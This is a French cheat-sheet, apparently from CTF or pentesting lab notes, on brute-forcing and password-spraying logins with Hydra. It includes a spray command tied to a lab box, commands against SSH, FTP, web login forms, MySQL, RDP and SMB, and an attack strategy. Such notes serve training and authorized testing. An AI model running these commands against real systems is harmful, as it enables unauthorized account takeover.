Aller au contenu principal

Brute-force avec Hydra

Hydra permet de tester des combinaisons d'identifiants contre differents services reseau.

SSH - Password Spray

Tester un mot de passe unique contre une liste d'utilisateurs :

hydra -L usernames.txt -p 'funnel123#!#' <IP> ssh
FlagDescription
-LFichier contenant la liste des utilisateurs
-lUtilisateur unique
-PFichier contenant la liste des mots de passe
-pMot de passe unique
-tNombre de threads (defaut: 16)
-fS'arreter au premier succes
-vVMode verbose

Box : Funnel

Autres protocoles supportes

# FTP
hydra -L users.txt -P passwords.txt <IP> ftp

# HTTP POST (formulaire de login)
hydra -l admin -P passwords.txt <IP> http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"

# MySQL
hydra -l root -P passwords.txt <IP> mysql

# RDP
hydra -l administrator -P passwords.txt <IP> rdp

# SMB
hydra -L users.txt -P passwords.txt <IP> smb

Strategie

  1. Tester les credentials par defaut en premier (admin/admin, root/root, etc.)
  2. Chercher des indices dans les fichiers accessibles (FTP anonyme, pages web)
  3. Password spray : un mot de passe probable contre plusieurs utilisateurs
  4. Brute-force complet en dernier recours (lent)
astuce

Le password spray est souvent plus efficace qu'un brute-force classique. Un seul mot de passe par defaut teste contre tous les utilisateurs connus.